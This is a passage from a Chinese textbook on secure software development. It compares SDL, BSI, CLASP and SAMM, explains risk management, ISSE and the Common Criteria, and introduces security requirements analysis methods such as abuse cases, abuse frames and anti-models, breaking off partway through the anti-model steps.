CLASP的主要目标是构建安全的软件，其安全活动大都从安全理论的角度定义，因此，安全活动的覆盖面广。同时，CLASP通过一些安全最佳实践将安全属性以一种结构化、可重复和可测量的方式整合进软件开发组织的现有或者将要展开的软件开发生命周期中，相互独立的安全活动以结构化组织的方式集成到开发过程和运行环境中。为了具有一定的灵活性，CLASP要执行的安全活动及其执行顺序是可选择的，不同开发者可以自行裁剪，以适应待开发产品的实际情况。


1.3.6　软件安全开发方法特点分析

事实上，SDL、BSI系列、CLASP以及SAMM都提供了一个广泛的活动集合，覆盖了软件开发生命周期的多个方面。这些模型大都经过相关公司或安全组织的实践验证。和传统的软件开发模型相比，应用这些模型有助于提高软件产品的安全性。软件企业可以根据自身实际，依据上述方法或模型，对现有软件开发过程制定改进计划，持续不断地提升管理和开发水平，以保障软件产品的安全。上述安全开发方法各自的特点可以概括如下。

·SDL

SDL相关文档较为丰富。在投入大量的人力、物力进行研究和实践后，微软不断更新升级SDL版本，并通过专门网站和开发者社区对SDL进行推广。同时，SDL还有一个鲜明的特点，就是从需求分析阶段到测试阶段，都有较多的自动化工具支持它，如威胁建模、静态源代码分析等工具。由于SDL体系较为完善，和其他安全开发流程相比，它的实施要求严格，适合于大型机构使用。

·BSI系列

BSI认为软件安全有三根支柱：风险管理、软件安全接触点和安全知识，强调了在软件生命周期中风险管理的重要性，并要求风险管理框架贯穿整个开发过程。BSI明确了安全知识在软件安全中的重要性，但是没有强调要把安全培训作为软件安全开发的先决条件。

软件安全接触点针对软件安全开发中可能出现的问题，从“白帽子”和“黑帽子”两个角度出发，提出了七个工作接触点（实践方法），在软件开发生命周期的每一个阶段尽可能地避免和消除漏洞。同时，软件安全接触点具有较好的通用性，能够与不同的软件开发模型相结合。软件安全接触点从顶层给出安全实践要求，但是对于执行安全实践的具体细节描述不多。

BSIMM收集了很多软件企业在软件安全开发方面的措施和方法，并按照软件安全开发框架进行描述，找出这些软件企业的共同点和不同点，从而给其他企业提供实践参考。因此，尽管BSIMM本身没有提出具体实践建议，软件企业还是可以根据BSIMM了解业界常用的软件安全开发措施，用来和自己的开发方法进行比较。

·CLASP

CLASP是一个用于构建安全软件的轻量级过程，应用该方法可以较好地处理那些可能导致安全服务出现漏洞的软件脆弱性。CLASP强调安全开发过程中的角色和职责，其安全活动基于角色安排。CLASP既可用于启动一个新的软件开发项目，也易于和已有的软件开发项目进行集成，它使企业能够使用系统且并不繁琐的流程开发出安全的软件产品。在实践中，CLASP容易存在的一个问题是，其定义的有些角色可能无法和某些企业中现有人员安排进行对应。

与SDL相比，CLASP所采用的流程属于轻量级，也能够和多种软件开发模型相结合，因此，对小型软件企业更具有吸引力。

·SAMM

SAMM为软件安全开发提供了一个开放的框架，软件企业可以参考SAMM来衡量其软件安全保障计划，制定软件开发安全策略，创建明确定义和可衡量的目标，并循序渐进地改善软件开发过程。

与其他几个模型相比，SAMM的目标在于制定简单、有良好定义，且可测量的软件安全开发模型，其对安全知识的要求更低，更适于非安全专家使用。为便于理解和使用，SAMM提供了一个安全活动级别的映射表，可以将BSIMM的109个安全活动映射到SAMM的72个安全活动中。


1.4　软件安全开发其他相关内容

1.4.1　风险管理

风险管理是信息安全保障工作的基本方法，信息安全保障应以风险管理为基础，针对可能存在的各种威胁和自身弱点，采取有针对性的防范措施。任何类型和规模的组织都会受到一些内部和外部因素的影响，由于组织的业务运营越来越依赖于信息资产，信息安全相关风险在组织整体风险中所占的比例越来越高。信息安全风险管理的目的就是要缓解和平衡这一矛盾，将风险控制到可接受的程度，保护信息及其相关资产，最终保障其业务的正常运营。

信息安全风险是指某种特定的威胁利用一种或一组脆弱性造成组织的资产损失或损害的可能性。风险的大小，与资产、威胁、脆弱性这三个引起风险的最基本要素有关。其中，资产是任何对组织有价值的东西，是要保护的对象；威胁是可能导致信息安全事故和组织信息资产损失的活动；脆弱性则是与信息资产有关的弱点或安全隐患，是造成风险的内因。衡量风险的两个基本要素是事件发生的概率和产生的后果。

风险评估是针对风险管理对象所面临的风险进行识别、分析和评价，通过风险评估的结果获得信息安全需求。信息安全风险管理需要依靠风险评估的结果确定随后的风险处理和批准监督活动。风险评估使得组织能够准确定位风险管理的策略、实践和工具，能够将安全活动的重点放在重要问题上，还能够选择成本合理、适用的安全对策。

风险评估的过程一般包括风险评估准备、风险要素识别、风险分析和风险结果判定四个阶段，其具体流程图如图1-4所示。风险评估准备阶段制订风险评估计划和方案，选择风险评估工具，为后续风险评估的实施做好准备。此阶段形成的计划书和方案需要得到信息系统和信息安全风险管理高层的认可和批准。风险要素识别阶段识别需要保护的资产、面临的威胁以及存在的脆弱性，并分别赋值，同时确认已有的安全措施，形成需要保护的资产清单，以及面临的威胁、存在的脆弱性和已有安全措施三份列表。风险分析阶段分析安全事件发生的可能性及造成的损失，并实施风险计算，形成风险计算报告。风险结果判定阶段评价风险的等级和综合评价风险状况，形成风险程度等级列表和风险评估报告。

对于任何一种能充分保证软件安全的方法来说，持续的风险管理过程都是必不可少的。在软件安全开发中，确保软件安全需要有效管理风险，包括管控软件开发周期各个阶段的输出结果中发现的风险、不充分的过程引入的风险，以及与人员相关的风险。在软件管理过程中需要使用风险管理框架来实现持续的、一致的、迭代的风险分析，并将其完全地、深层次地整合到软件开发周期中。软件风险管理框架是由以下基本活动阶段组成的封闭循环过程：

·理解业务背景。

·确认业务和技术的风险。

·综合评价风险并赋予优先级。

·定义风险减轻策略。

·实现修正并确认其正确性。
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图1-4　风险评估实施流程

在软件开发项目中，软件安全风险管理的常用实践措施是进行安全风险分析和风险评估。SDL方法中的风险评估至少包括两个基本的交付物：安全风险评估和隐私影响分级。安全风险评估被用于判断系统中易受攻击的漏洞级别，并完成相应的调查文件和评估文档；隐私影响分级包含三个策略值：隐私分级1、隐私分级2以及隐私分级3，分别对应不同的隐私保护责任，以确保开发的系统不会违反隐私规定。

威胁建模和受攻击面分析是风险分析评估的重要方法，相关内容我们会在第3章中详细展开介绍。需要说明的是风险管理是一种连续的、迭代的过程，在项目开发过程中需要多次应用，如：降低软件受攻击面是基于需求分析阶段安全风险评估的结果，威胁建模则是在设计阶段常用的软件风险分析方法。


1.4.2　信息系统安全工程

信息系统安全工程（Information System Security Engineering，ISSE）是美国军方在20世纪90年代初发布的信息安全工程方法，是信息系统安全建设的方法论，是系统工程在安全建设的具体体现。长期以来在信息化建设过程中，信息安全建设被广泛忽视。信息系统安全工程就是要解决信息系统建设生命周期的“过程安全”问题。信息系统安全工程是采用工程的概念、原理、技术和方法，研究、开发、实施与维护信息系统安全的过程，是一门综合交叉学科，以系统工程（Systems Engineering，SE）、项目管理、质量管理体系和能力成熟度模型（Capability Maturity Model，CMM）等理论为基础发展而来。

ISSE是SE在信息安全空间的映射，其重点是通过实施系统工程过程来满足信息保护需求。ISSE定义在SE过程的基础上，将信息安全集成在信息系统工程实施的全生命周期中，使安全成为SE的有机组成部分，从而实现用户目标和需求。ISSE不是一个独立的过程，它依赖并支持SE过程，将信息安全工程和其他学科的技术问题结合起来，以获得最优的信息安全系统解决方案。

ISSE的主要目的是确认安全风险，并且采用系统工程的方法使安全风险降到最低或得到有效控制。为了确保信息保护能被平滑地纳入整个系统，必须在最初进行SE设计时便考虑ISSE，并在SE的每一阶段都要运用ISSE过程。对应于SE的一般过程，ISSE实施过程划分为五个过程：发掘信息保护需求、确定系统安全要求、设计系统安全体系结构、开发详细安全设计和实现系统安全。这五个过程之间的关系及处理顺序如图1-5所示。其中，评估信息保护有效性与支持认证和认可，贯穿于ISSE这五个过程的始终。
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图1-5　信息系统安全工程实施过程

信息系统安全工程有多种不同用途，软件开发流程便是其中之一。由于对于任何功能和系统级的需求，安全需要在理解需求过程的早期就加以考虑，并且要进行安全评测，并最终进行工程、设计和系统部署。多年的经验告诉我们，一旦系统完成开发后，就难以实施多种安全解决方案。因此，在软件开发的发掘需求和定义系统阶段，一定要充分考虑安全需求。为有效地将安全措施和控制集成进系统工程过程，设计人员和开发人员需要修正原有的过程模式，以形成一个可重复的系统开发生命周期，并集中于安全控制和保障机制。


1.4.3　CC标准

CC标准（Common Criteria for Information Technology Security Evaluation），作为国际通用测评准则，自1993年开始提出，至1999年正式成为国际标准ISO 15408，并在随后被我国等同采用为国标GB/T 18336《信息技术安全性评估准则》。CC标准为安全评估提供了一套信息技术（Information Technology，IT）产品和系统安全功能及其保证措施的通用要求，旨在作为评估IT产品和系统安全性的基础准则，对安全IT产品或系统的开发以及安全商用产品和系统的采购都非常有益。

CC标准定义了保护轮廓（Protection Profile，PP）和安全目标（Security Target，ST）两种结构来表述IT安全功能和保证要求。其中，PP是满足特定用户需求的一类产品或系统的一组与实现无关的安全要求。PP创建了一些普遍可重复使用的安全要求集合，可被目标客户用于规范和识别满足其需求的产品及其IT安全性。在标准体系中，PP相当于产品标准，并有助于过程规范性标准的开发，国内外已对防火墙、智能卡、IDS、PKI等开发了相应的PP。软件开发项目的用户可以借助PP来定义自己的需求，开发者也可以根据PP来确定自己的安全目标ST，如果所要实施的项目所属产品或系统类已具有了相应的PP，开发人员参照该PP设计自己项目的ST可明显加快项目进度。ST阐述安全要求，详细说明一个既定被评估产品或系统即评估对象（Target of Evaluation，TOE）的安全功能。根据CC标准的要求，在进行软件开发时，首先要明确项目的安全目标ST，它是针对具体TOE而言的，是开发者、评估者、用户在TOE安全性和评估范围之间达成一致的基础，ST相当于产品和系统的实现方案。ST包括的技术要求和保证措施可以直接引用该TOE所属产品或系统类的PP，当没有已经成熟的PP供引用时，就需自主确定自己项目的ST：根据系统涉及的资产分析用户所关心的关键资产；通过分析关键资产所面临的威胁、考虑安全假设和说明需要遵从的组织安全策略来确定安全环境；对提出的威胁等进行风险分析，确定哪些安全隐患比较严重，哪些安全问题不需要考虑，由此形成系统的安全需求，并确定项目的ST。ST旨在确定地描述开发中需要解决的系统安全问题。

在安全开发中，CC的安全功能组件和安全保证组件各有其重要作用。对于开发人员来说，在确定系统的安全需求和安全目标时，可以参照CC标准第二部分安全功能要求中已定义的安全审计（FAU）、通信/不可抵赖（FCO）、密码支持（FCS）、用户数据保护（FDP）、标识和鉴别（FIA）、安全管理（FMT）等功能需求类，并根据自己项目的具体安全需要来裁剪开发系统所需具备的安全功能，参考CC中的安全功能类来确定产品的安全功能，可以有效防止开发完成的系统存在安全组件缺失和遗漏的情况。

CC第三部分安全保障要求有助于安全开发者提高开发系统的安全保障能力，开发人员可以参照CC第三部分采取措施来减少出现脆弱性的可能性，降低（有意利用或者无意触发）脆弱性，以及由上述脆弱性导致的破坏程度。在CC中可以以确定产品安全特性为目的，对产品进行评估的主动调查来提供对系统安全性的保障。CC标准的评估技术包括但不限于以下这些：

·分析并检查过程和程序。

·检查过程和程序是否正在被使用。

·分析TOE各设计表示之间的一致性。

·对照要求，分析TOE的设计表示。

·验证证据。

·分析指导性文档。

·分析所开发的功能测试和所提供的结果。

·独立的功能测试。

·脆弱性分析（包括缺陷假设）。

·渗透性测试。

在安全保障要求部分CC标准定义了7个递增的评估保证等级，保证是指对功能产生信心的方法。保证要求中包含开发者行为，也包括产生的证据以及评估者行为。上述的保证类，确保了安全功能在TOE的整个生命周期中正确有效地实施，这些保证类是定义评估保证等级的基础，也是具体TOE评估的依据和准则。随着EAL1~EAL7评估保证级的逐级增加，对开发系统的安全保障要求不断加强，通过确定需要的EAL保障级，在开发中参考使用并在开发结束后展开相应测评，可极大提高软件的安全性。

CC标准对于软件安全开发有着重要的指导意义。从安全开发的角度来看，CC标准为开发者提供了以下支持：

·为开发者在确定其产品或系统所要满足的安全需求方面提供支持。

·为他们准备和协助对其产品或系统的评估提供支持。

·通过评估证实产品或系统的安全功能，保证满足特定的安全需求。

·标准中提出的安全功能可被开发者在其产品或系统中实现，促进其技术进步。

·标准中的保证要求可帮助开发者规范其研发、生产和集成等过程，提高生产管理能力。
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第2章　软件安全需求分析

软件需求分析的任务是深入描述软件的功能和性能，确定软件设计的约束和软件同其他系统元素的接口细节，定义软件的其他有效性需求，借助当前系统的逻辑模型导出目标系统逻辑模型，解决目标系统“做什么”的问题。在传统的软件开发过程中，不适当的需求过程将导致产品无法被接受。不适当的需求分析将导致以下风险：用户需求不充分导致产品无法被用户接受；用户需求的增加带来过度的耗费和降低产品的质量；模棱两可的需求说明可能导致时间的浪费和返工；用户增加一些不必要的特性和开发人员画蛇添足、过分简略的需求可能影响某些关键需求的实现；忽略某类用户的需求导致众多客户的不满；不完善的需求说明使得项目计划和跟踪难以准确进行。

同传统的软件开发过程一样，安全需求分析在软件安全开发过程中也是必不可少的一个阶段，安全需求分析的好坏直接影响着安全开发过程中的后续阶段。美国国家标准技术研究所（NIST）报道称，美国每年对安全性和可靠性有缺陷的软件进行故障处理和维修的费用高达595亿美元。这个代价表明一旦应用被部署到了真实的运行环境中，要提高它的安全性非常困难而且花费很大，同时也表明在安全需求分析阶段的一个很小的改进都会带来很高回报率。

本章首先介绍了需求和安全需求的定义，二者的区别与联系，以及与之相关的重要概念，然后总结了常用的安全需求分析方法，并总结了产业界典型的安全需求分析过程。


2.1　需求和安全需求

20世纪60年代爆发的“软件危机”，使得软件项目在开发和维护的过程中遇到一系列严重问题。1995年，Standish Group研究机构以美国境内8000个软件项目作为调查样本，调查结果显示，有84%的软件计划无法于既定时间、经费中完成，超过30%的项目于执行期间被取消，项目预算平均超出189%。其原因在于软件专业人员的软件开发和维护观念模糊，在实践过程中或多或少地采用了错误的方法和技术，例如，忽视软件需求分析的重要性，认为软件开发就是写程序并设法使之运行，轻视软件维护等。

由表2-1所示，软件需求分析相关问题都占据了相当大的比率，可见软件需求分析是关乎项目成败的重要因素。事实上，对用户要求没有完整准确的认识就匆忙着手编写程序是许多软件开发工程失败的主要原因之一。因此，软件开发人员需要做大量深入细致的调查研究工作，反复地和用户交流信息，才能真正全面、准确、具体地了解用户的要求。对问题和目标的正确认识是解决任何问题的前提和出发点，软件开发也不例外。急于求成，仓促上阵，对用户要求没有正确认识就匆忙着手编写程序，就如同不打好地基就盖高楼一样，最终必然倒塌。

表2-1　Standish1994年软件项目十大成功因素、十大质疑因素和十大失败因素
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图2-1是Standish CHAOS研究2004-2012（每两年一次）对项目成功率、质疑率和失败率的调查结果。从图中可以看出，近年来，软件项目的成功率基本是呈逐年上升的趋势。
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图2-1　Standish CHAOS 2004-2012软件项目成功失败率

今天软件危机虽已不复存在，但是软件项目成功率却始终在30%~40%之间，约60%的项目失败或出现超支、系统功能不完整的问题。这也表明现今软件系统越来越复杂，客户对软件的功能、性能以及安全性的要求越来越高，通过需求分析了解描述软件的实际功能和性能变得尤其重要，它直接决定了软件产品的功能和性能的最终实现。

本节主要介绍需求的定义、层次和分类，使读者先了解需求分析中的重要概念及其重要性；在此基础上，又介绍了安全需求的定义以及安全需求工程的发展。


2.1.1　需求的定义与分类

软件行业普遍存在这样一个问题，用于描述需求工作的术语没有统一的定义。对同一项需求，不同的人会有不同的描述，如用户需求、软件需求、功能需求、系统需求、技术需求、业务需求或产品需求。在开发人员看来，客户对需求的定义可能只是高级别的产品概念；而开发人员的需求概念对用户来说也许就是详细的用户界面设计。需求定义的多样性导致了用户和开发人员之间的沟通问题。

IEEE的软件工作标准术语表（1997）将需求定义为：用户为解决某个问题或达到某个目标而需具备的条件或能力；系统或系统组件为符合合同、标准、规范或其他正式文档而必须满足的条件或必须具备的能力；上述第一项或第二项中定义的条件和能力的文档表达。这一定义既体现了用户对需求的看法（系统的外部行为），也代表了开发人员的观点（一些内部的特性）。

Capers Jones认为需求是用户所能触发的一个程序或系统开发工作的说明。需求分析专家Alan M.Davis拓展了这个概念，他认为需求是从系统外部能发现的所有满足用户的特点、功能及属性等。这个定义强调的是产品是什么样的，而并非产品是怎样设计、构造的。

Ian Sommerville的定义则从用户需求进一步转移到了系统特征：需求必须指明要实现什么规格说明。它描述了系统的行为、特征或属性，是开发过程中对系统的约束。

总之，需求是软件开发人员与用户密切合作，了解用户的需要、目的和期望，并进一步表述而成的定义性陈述，也是用户与软件开发人员之间契约的基础，主要面向用户，采用基于现实世界的描述模型，以便于用户理解。

开发人员和用户使用不同的实体来描述产品的需求，最终要形成一个针对开发人员的需求规格说明。软件需求规格说明在设计、编码、测试、质量保证、项目管理以及相关项目功能中都发挥着重要的作用。在实际需求分析中，要达成有效的软件需求规格说明，不同角色的人员之间的沟通问题不可小觑，一个很小的模棱两可的需求最终可能导致软件成品中一个灾难性的缺陷。因此需要将软件需求分为不同层次，以便客户、开发人员和用户等不同角色人员之间达成需求的一致性，层层沟通，最终形成一个有效的软件需求规格说明。软件需求包括三个不同的层次：业务需求、用户需求和功能需求。软件需求层次关系和软件需求规格说明的组成如图2-2所示。
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图2-2　软件需求层次关系和软件需求规格说明的组成

业务需求（business requirement）反映了组织机构或客户对系统、产品高层次的目标要求，它们在项目视图与范围文档中予以说明。

用户需求（user requirement）描述了用户使用产品必须要完成的任务，它在使用实例（use case）文档或方案脚本（scenario）说明中予以说明。

功能需求（functional requirement）定义了开发人员必须实现的软件功能，使得用户能完成他们的任务，从而满足业务需求。

下面以一个拼写检查器为例来说明需求的不同种类。业务需求可能是：“用户能有效地纠正文档中的拼写错误”。对应的用户需求可能是“找出文档中的拼写错误并提供一个可选的替换项列表来替换拼错的词”。同时，该拼写检查器还有许多功能需求，如找到并高亮提示错词的操作；显示提供替换词的对话框以及实现整个文档范围的替换。管理人员或市场分析人员会确定软件的业务需求，所有的用户需求必须与业务需求一致。用户需求使需求分析人员能从中总结出功能需求以满足用户对产品的要求，进而完成其任务，而开发人员则根据功能需求来设计软件以实现必需的功能。

从开发人员角度来说，最终的软件需求规格说明是由功能需求、非功能需求和约束构成的，通过这3种需求能够完整准确地描述软件系统的需求，解决软件“做什么”的问题。上文中已有功能需求的定义，这里不再赘述，非功能需求和约束的定义如下。

非功能需求补充产品的功能描述，从不同方面描述产品的各种特性。这些特性包括可用性、可移植性、完整性、效率和健壮性，它们对用户或开发人员都很重要。虽然实现功能是第一要务，但非功能需求是保证功能得以正确工作的重要方面，如一个电子支付平台，开发者正确地实现了其支付功能，但是在用户支付过程中暴露了账户信息，从而使得用户有损失财产和暴露隐私信息的风险，那么这样的系统是不健全的。正如Robert N.Charette指出的那样，“现实的系统中，在决定系统成败的关键因素中，满足非功能需求往往比满足功能需求更为重要”。非功能需求方面常见的问题有以下两点：

·信息传递的无效性：很多需求规格说明书会通过设计原则说明非功能需求，列出诸如高可靠性、高可用性、高拓展性等要求。但是很多开发人员忽略了这些内容，因为这样的定性描述是没有判断标准的，因此，这种信息传递方法是无效的。

·忽略了非功能需求的局部性：诸如“所有的查询响应时间都应该小于10秒钟”的需求描述就忽略了局部性，因为当用户查询的统计数据量较大时，这样的需求是无法实现的，最终开发人员不会理会这类需求。因此，更科学的做法是根据具体的应用场景来描述。

约束限制了开发人员设计和构建系统时的选择范围，设计约束一般有三种。

·非技术因素决定的技术选型：对于软件开发而言，有些技术选型并非由技术团队决定，会受到企业/组织实际情况的影响，例如，必须采用某种数据库系统等。

·预期的运行环境：技术开发团队在决定架构、选择实现技术时会受到实际的软硬件环境的影响，如果忽略了这方面的因素会给项目带来一些不必要的麻烦。

·预期的使用环境：除了系统的运行环境，用户的使用环境（使用场合、软硬件环境等）也会对软件的开发产生很大的影响，因此应注意搜集此类信息，并将其写到软件需求规格说明书的补充规约中。


2.1.2　安全需求和安全需求工程

信息安全的核心内容就是实现信息的机密性、完整性和可用性。

·机密性（Confidentiality）：它包含了数据机密性和隐私性两个相关概念。数据机密性是指保证隐私或机密的信息不会被泄露给未经授权的个体。隐私性是指保证个人可以控制和影响与之相关的信息，这些信息有可能被收集、存储和泄露。

·完整性（Integrity）：它包含了数据完整性和系统完整性两个相关概念。数据完整性是指保证只能由某种特定、授权的方式来更改信息和代码。系统完整性是指保证系统正常实现其预期功能，而不会被故意或偶然的非授权操作控制。

·可用性（Availability）：保证系统即时运作，其服务不会拒绝获得授权的用户。

以上三个概念构成了CIA三元组，体现了对于数据和信息计算服务的基本安全目标。2003年，美国国家标准技术研究所（NIST）的联邦信息安全分级标准与信息系统（FIPS199）也指出机密性、完整性和可用性为信息和信息系统的三个安全目标。

信息系统的安全需求，从广义上来讲，就是信息系统的机密性需求、完整性需求和可用性需求。系统的安全需求就是最终系统要实现的机密性、完整性和可用性程度的目标。

Moffett、Jonathan D等认为：安全需求被看作系统功能需求的约束，采用相关的安全操作术语来描述系统必须达到的安全目标。同功能需求一样，安全需求是为了达到预期的安全效果提供的一种规格说明。

Albin Zuccato把系统作为一个整体，考虑所有的组件及其之间的依赖关系。他对安全需求进行了如下定义：安全需求被看作是一种合并的资源，包括风险、业务过程和环境，以及这三种资源之间的依赖关系。

虽然许多专家学者都致力于进行与安全需求相关的各种研究，但对于什么是安全需求还没有公认的定义。一种观点是把安全需求看作非功能性需求，这也是关于安全需求最广泛的概念。Ian Sommerville和Gerald Kotonya把包括安全在内的非功能性需求定义为：系统服务的约束或限制。另一种观点把安全需求看作与系统功能需求相同的需求，称为安全功能需求。还有一些研究人员使用安全策略或者质量需求来定义安全需求。安全需求与一般需求的一个不同之处在于：安全需求并不是从使用者的兴趣出发，而是由系统的客观属性所决定的。一般来说，使用者希望以最小的代价来实现必要的安全需求。

在实际开发过程中，需求文档中常常提到安全需求，但是通常只是简单地提及安全机制：如密码验证机制，部署防火墙等。部分需求文档中包含安全需求分析，但是安全需求分析过程与功能需求没有联系起来，这将导致安全需求最终实现的保护形同虚设。在审查需求文档时，已存的安全需求通常是从一组通用的安全需求特征列表中复制其中一部分。一方面开发人员经常被灌输着在需求分析阶段就融入安全分析很重要的思想，而另一方面安全需求分析开发人员却没有掌握真正有效的安全需求分析方法，导致需求文档中的安全需求形同虚设，最终开发的系统很难达到用户真实的安全需求。所以开发人员需要系统地学习安全需求分析的方法，得到指导整个安全开发过程的安全需求规格说明，以减少后期维护带来的巨额花销。

为了改善安全需求无效性的问题，软件工程研究人员也在孜孜不倦地做着努力。起初，研究者们主要是将精力集中在软件开发过程中的功能需求分析上，安全问题往往是在系统做好以后才去考虑的，但最终都无法保证软件系统的安全性。近年来安全问题已经在软件系统中扮演着重要的角色，所以软件工程研究者们开始考虑把安全因素融入到主流的需求工程中，安全需求工程应运而生。安全需求工程是一门涉及需求工程和信息安全的交叉学科。需求工程是指应用已证实的有效的技术、方法进行需求分析，确定客户需求，帮助分析人员理解问题并定义目标系统的所有外部特征的学科；信息安全是通过实施一组控制而达到的，包括策略、措施、过程，组织结构及软件功能，是对机密性、完整性和可用性保护的一种特性。因此，将信息系统的安全属性整合到主流的需求工程中则产生了安全需求工程这门新兴学科。

早期开发过程都将需求工程作为项目开发初期开展的活动，而近年来由于需求分析在软件开发过程中重要性的提高，需求工程已经成为一个持续的过程，它跨越整个项目的生存周期，甚至扩展到跨越项目和产品的活动。与此同时，持续的需求工程思想已经融入到许多过程和生命周期模型中，如敏捷开发方法（如极限编程）都采用了这一思想。在这些过程和生命周期模型中，需求工程活动根据项目的实际情况而具有不同的执行程度。

持续的需求工程的质量层次有两个：

·需求工程作为跨软件开发生命周期的活动：在整个开发过程中开展，保证需求的抽取和管理的一致性和可追踪性。需求工程与其他所有开发活动间都存在交互。例如，在体系结构设计中所发现或提出的需求变更被传递给需求工程活动。此外，系统上下文的变化在整个开发过程中进行识别和分析，如果需要的话还会传递给实际的开发活动。这样，需求变更能够立即在目前正在开发的系统中加以考虑。

·需求工程作为跨项目和跨产品的活动：将需求工程的范围扩展到包括跨越不同项目和产品的、持续的需求抽取和管理。需求工程活动不再只是与单个的系统开发过程和单个项目相关。相反，需求工程被看作跨越多个项目和产品开展的一个独立活动。所抽取的需求在专门的需求库中，以一种独立于具体的系统开发的方式进行文档化记录。当需要开发一个新系统或新的系统发布版本时，只要从当前的需求库中选取所要实现的一组内聚的需求即可。面向特定系统版本（发布版本）的需求能够随时进行打包。此外，来自单个开发项目的反馈也会被持续地评估并整合到需求库中。

如果产品必须在短时间内投入市场或者一个组织中的项目具有明显的共享领域，那么最好将需求工程作为一种跨项目的活动来进行理解和实现。跨项目边界的需求管理对组织而言有多种优势。例如，如果需求的抽取和文档是通过跨项目的方式进行，需求工程过程的有效性和效率会更高。另一方面，跨项目的需求工程可能会需要更多的项目间协调和交流，从而导致初始成本的升高。但是，经验表明其中的优点远远大于因此产生的额外工作量。

安全需求工程是建立在需求工程的基础上，即在现有的需求工程中融入安全性分析。因此，好的需求工程实施是保证成功的安全需求工程进行的必要条件。目前常用的安全需求分析方法也都是在已有需求分析方法上的扩展。


2.2　安全需求分析方法

需求分析是软件生命周期的重要一步，需求分析的方法也是鳞次栉比。前面提到，安全需求分析方法基本都是对传统的需求分析方法的扩展，即在原有的需求分析方法中融入安全性考量。本节首先总结了目前常用的安全需求分析方法，并对其原理和重要步骤等加以阐述，然后结合实际，分析目前产业界典型的软件安全开发过程中使用的安全需求分析方法。


2.2.1　常用安全需求分析方法

常用安全需求分析方法包括误用和滥用案例、滥用框架、反模型、横切威胁和安全质量需求工程（Security Quality Requirements Engineering，SQUARE）。其中误用和滥用案例、滥用框架、反模型和横切威胁分别是传统的需求分析方法在用例、问题框架、面向目标、面向方向上的安全扩展，强调了需求分析中的安全性。SQUARE是卡耐基梅隆大学开发的一套过程模型，它为信息技术系统和应用的安全需求提供了一种启发、分类和排序的方法。

1.用例上的扩展：滥用案例

UML、用例等建模和设计工具可以帮助软件开发人员规范地描述和设计软件的行为。但使用这些建模和设计工具的前提是：软件用户的所有行为都是正确的。这意味着开发人员是基于系统不会被有意滥用的假设来理解系统的完全功能的。那么，当系统被有意滥用时，它会如何表现呢？结果是未知的。

开发安全、可靠的软件，除了标准化的特性和功能之外，软件安全专业人员还需要顾及其他因素，并仔细考虑意外或反常的行为，这样才能更好地理解如何创建安全、可靠的软件。滥用案例可以帮助开发者把软件置于攻击者的状态，考虑到超越正常思维和意料之外的事件，从而减少攻击者可攻击的漏洞。

滥用案例的典型方法有误用用例和滥用用例。误用用例方法主要从功能性用例的文本描述中分析可能存在的安全漏洞并识别出对应的威胁，建立威胁用例，针对威胁用例建立安全需求用例。滥用用例方法主要用于捕获攻击者与系统之间的交互所产生的威胁。该方法重视对攻击者的描述，主要对攻击者的企图、攻击能力进行评估。滥用用例方法针对识别出的威胁，单独建立威胁用例，与误用用例方法不同的是：建立好的威胁用例并不与功能性用例产生交互，威胁用例仅说明系统面临的安全威胁。威胁用例的描述形式既可以采用已有的用例模板，也可采用漏洞攻击树。

滥用用例是通过下面的五个步骤创建的：

1）用UML的方法描述参与者和用例。

2）引入主要的滥用者和滥用用例。

3）研究滥用用例和用例之间潜在的include关系。

4）引入新的用例来发现或阻止滥用用例。

5）形成更加详细的需求记录。

通过创建滥用用例可以捕获和描述相关的攻击，并允许分析人员仔细地考虑当这些安全机制无效或者被破坏时会导致的后果，同时可以使分析者深入了解系统假设以及攻击者如何利用和破坏它们。

可以通过下面一个例子更好地理解滥用案例。图2-3展示了汽车司机和攻击者的博弈过程，在这里并不只是考虑司机和汽车之间的“正常”关系，也考虑了可能面临的安全威胁，即攻击者的偷车行为和其可能采用的敲坏车门方式。表2-2列出了对本例中攻击者行为及汽车司机的应对措施，突出了可能的威胁及应对措施。

表2-2　汽车防盗安全需求滥用用例事件说明
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2.问题框架上的扩展：滥用框架

滥用框架（abuse frame）方法是一种面向问题域的分析方法。该方法从攻击者的角度考虑系统面临的问题，采用已有的问题框架方法来支持工具分析和获取安全需求，适合于针对问题领域进行分析，获取安全需求，其目的是在系统发生违反安全行为的条件下，使系统呈现安全威胁并分析系统。
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图2-3　汽车防盗安全需求的滥用用例图解

注：圆角矩形是用例元素，方角矩形是滥用用例

该方法中定义了“攻击者领域”，用来表示攻击者；定义了“受害者领域”表示系统遭受威胁的资产；引入了“反需求”，表示攻击者对系统的需求，这样的需求违背了系统正常、合法的需求。该方法与问题框架法的本质区别是：它先获取反需求，然后再制定相应的安全需求；而问题框架方法在分析安全需求时与分析系统的其他需求一样，直接进行问题领域和机器领域的现象分析，然后得到需求，因此问题框架分析方法较少能获取“反需求”。

滥用框架的威胁获取主要从两个方面入手：一是从问题领域内的现象着手，由于现象描述缺乏安全性约束，使得安全漏洞可能显式或隐式地存在于现象中；二是从领域之间的现象交互过程着手，其存在的安全隐患经常是外部攻击的切入点。

滥用框架方法中引入滥用框架描述反需求，如图2-4所示。
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图2-4　滥用框架威胁描述图

图2-4中，现象E1表示反需求在受害领域产生的安全威胁现象，E2表示机器领域和受害领域之间的共享现象，机器领域通过E2对受害领域进行操作，来完成软件系统的功能。实线形状的E3表示恶意攻击者对机器领域产生的攻击现象，虚线形状的E3表示反需求到攻击者领域的需求引用，它和反需求一起描述了攻击者领域对机器领域的攻击效果。

针对反需求，滥用框架方法用问题框架（problem frame）描述安全需求，如图2-5所示。图中E1表示在攻击情形下受保护领域所期望的现象，E2、E3的含义与图2-4一致。
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图2-5　安全需求描述图

滥用框架方法虽然提供了威胁分析途径，但还需要有经验的安全人员从现象的描述中确定威胁，他们的经验和能力决定了安全需求的有效性和完整性。滥用框架威胁图和安全需求描述图能够体现系统面临的安全问题。滥用框架威胁图中各个领域的现象描述以及领域之间的现象描述可作为安全知识，帮助同领域内的其他软件系统确定安全威胁。

3.面向目标上的扩展：反模型

反模型方法是由Axel van Lamsweerde等人提出的，面向目标的需求工程是一种在需求工程领域引起特别关注的方法。反模型（anti-model）是对面向目标需求工程的扩展，旨在建模、指定、分析软件的安全性需求。这种方法基于两种模型：system-to-be模型和反模型。system-to-be模型覆盖软件及其环境、相互关联的目标、代理、操作、需求和假设；反模型是通过对system-to-be模型研究探索系统元素如何、为什么、被谁恶意威胁而获得的。

反模型方法获取安全需求的主要过程如下：

